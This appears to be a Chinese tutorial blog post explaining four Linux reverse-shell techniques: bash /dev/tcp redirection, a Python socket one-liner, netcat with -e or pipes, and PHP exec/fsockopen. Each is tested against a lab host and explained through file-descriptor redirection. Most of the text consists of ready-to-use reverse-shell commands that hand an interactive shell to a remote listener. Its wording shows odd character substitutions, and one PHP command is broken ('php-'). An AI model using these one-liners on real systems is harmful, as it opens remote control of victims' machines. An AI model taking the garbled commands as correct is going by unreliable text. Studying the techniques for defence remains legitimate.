快捷搜索:  网络  CVE  渗透  后门  扫描  木马  黑客  as

Linux下几种反弹Shell要领的总结与理解

*

之前在网上看到很多师傅们总结的linux反弹shell的一些要领,为了更熟练的去运用这些手艺,因而本人花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在本人的机器上开启监听,然后在被攻击者的机器上发送连接要求去连接我们的机器,将被攻击者的shell反弹到我们的机器上,下面来先容阐发几种经常使用的要领。

实验环境

CentOS 6.5:192.168.0.3

kali2.0:192.168.0.4

要领1:

反弹shell命令以下:

bash -i >& /dev/tcp/ip/port 0>&1

起首,使用nc在kali上监听端口:

nc -lvp 7777

0DdE723LF1.png

然后在CentOS6.5下输入:

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

B9l36f21p.png

可以看到shell成功反弹到了kali上面,可以执行命令:

35JfJKF24L.png

在诠释这条反弹shell的命令道理之前,起首需要把握几个点。

linux文件描摹符:linux shell下有三种标准的文件描摹符,分别以下:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最佳的理解是如许的:

当>&后面接文件时,表示将标准输出以及标准错误输出重定向至文件。
当>&后面接文件描摹符时,表示将前面的文件描摹符重定向至后面的文件描摹符

也有师傅把&这个符号诠释为是取地址符号,学过C说话的小伙伴们都知道&这个符号代表取地址符,在C++中&符号还代表为引用,如许做是为了区别文件描摹符以及文件,譬如查看一个不存在的文件,要把标准错误重定向到标准输出,要是直接cat notexistfile 2>1的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而&的作用就是为了区别文件以及文件描摹符:

9gLL6Ip39.png理解了上面这些知识,下面来诠释一下这一条反弹shell的命令起首,bash -i代表在内陆关上一个bash,然后就是/dev/tcp/ip/port/dev/tcp/是Linux中的一个特殊设备,关上这个文件就至关于发出了一个socket调用,确立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出以及标准错误输出重定向到这个文件,也就是传递到遥程上,要是遥程开启了对应的端口去监听,就会接收到这个bash的标准输出以及标准错误输出,这个时辰我们在本机CentOS输入命令,输出和错误输出的内容就会被传递显示到遥程。

jA18Hi8L77.png

在内陆输入设备(键盘)输入命令,在内陆看不到输入的内容,然则键盘输入的命令已经被输出到了遥程,然后命令的执行效果或者错误也会被传到遥程,查看遥程,可以看到标准输出以及标准错误输出都重定向到了遥程:

0g2Im6dj72.png

下面在该命令后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是遥程,那么标准输入也就重定向到了遥程,如许的话就可以直接在遥程输入了:

Ad1dIgeg9K.png

iHap64C61.png

那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是遥程,那么标准输入也就重定向到了遥程:

AeA8baLFEc.png

32KC81aH0J.png

为了更形象的理解,下面给出了全部过程的数据流向,起首是内陆的输入输出流向:

I9E4l0E31l.png执行bash -i >& /dev/tcp/ip/port

F38m9Hlg48.png

执行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:

iG2h7i1g7D.png

要领2:

使用python反弹,反弹shell命令以下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

起首,使用nc在kali上监听端口:

nc -lvp 7777

pIlCDa6j2.png

在CentOS下使用python去反向连接,输入:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

e7kde87mKE.png可以看到kali上成功反弹到了shell,可以执行一些命令:

Ek7JD4eGeh.png

在已经深入理解了第一种要领的道理后,下面来诠释一下python反弹shell的道理。

起首使用socket与遥程确立起连接,接下来使用到了os库的dup2要领将标准输入、标准输出、标准错误输出重定向到遥程,dup2这个要领有两个参数,分别为文件描摹符fd1以及fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的谁人文件强行复制给fd2,在这里可以把fd1以及fd2看作是C说话里的指针,将fd1赋值给fd2,就至关于将fd2指向于s.fileno(),fileno()返归的是一个文件描摹符,在这里也就是确立socket连接返归的文件描摹符,经过测试可以看到值为3。

C2adcJcjIh.png

因而如许就至关于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到遥程(3),接下来使用os的subprocess在内陆开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了遥程,如许的话就可以在遥程执行输入命令了。

要领3:

使用nc反弹shell,需要的前提是被反弹shell的机器装置了nc,CentOS6.5装置nc要领以下:

一、下载装置
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install
2、设置
vim /etc/profile
添加下列内容:
# set  netcat path
export NETCAT_HOME=/usr/local/netcat
export PATH=$PATH:$NETCAT_HOME/bin
保存,退出,并使设置见效:
source /etc/profile
三、测试
nc -help成功

L3k8cCbd4I.png

以后在kali上使用nc监听端口:

nc -lvp 7777

4JlKI8AAa8.png

在CentOS上使用nc去反向连接,命令以下:

nc -e /bin/bash 192.168.0.4 7777

lk26I81B39.png这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到遥程后可以在遥程执行一个内陆shell(/bin/bash),也就是反弹一个shell给遥程,可以看到遥程已经成功反弹到了shell,并且可以执行命令。

G0j42BbeEI.png

注意之前使用nc监听端口反弹shell时都会有一个正告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个正告了,-n参数代表在确立连接之前纰谬主机进行dns解析。

nc -nlvp 7777

bDJ9Ap3Lj.png

要是nc不支持-e参数的话,可以行使到linux中的管道符,起首在kali上开启监听:

nc -nvlp 6666

nc -nvlp 7777

6Gf87b2g0c.png

以后在CentOS上使用nc去反向链接:

nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777

8ab45ddDa8.pngiliCEIg5cL.png这里通过在kali上监听两个端口,然后在使用CentOS进行反向连接的时辰使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,如许的话就可以在遥程的6666端口的输入设备(键盘)输入命令,将命令输出传递至内陆的/bin/bash,通过内陆shell诠释执行命令后,将命令执行的效果和错误输入到遥程的7777端口。

bCG25adDFg.png

要领4:

使用php反弹shell,要领以下 。
起首最简单的一个办法,就是使用php的exec函数执行要领1反弹shell的命令:

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

AfJ3e8GI2i.pngDa1d5I1GgL.png

还有一个是之前乌云知识库上的一个姿势,使用php的fsockopen去连接遥程:

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

fmLfgB7mg1.pngJbLmF1b3l9.png

这个姿势看起来有一些难以理解,尤为是还出现了<&这个符号,当然要是把&看着是取地址符或者是引用,那照样可以理解的,黑客网,为了更方便的理解,我在这将这条命令略微修改了一下,类似于前面的第二种要领。

有了之前的基础,我们知道3代表的是使用fsockopen函数确立socket返归的文件描摹符,这里将标准输入,标准输出以及标准错误输出都重定向到了遥程

在CentOS上反向连接,输入:

php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

1pIe6D8Hg.pngB0c9GjFmD5.png注意php反弹shell的这些要领都需要php关闭safe_mode这个选项,才可以使用exec函数。

总结

写这篇文章加上查阅资料花了一天多的时间,感觉本人现在真实的将这四种要领理解透了,能够本人去写一些反弹shell的命令了,所以付出照样值得的,网上还有不少反弹shell的命令,之后本人会不断的补充,It’s the climb!

*

您可能还会对下面的文章感兴趣: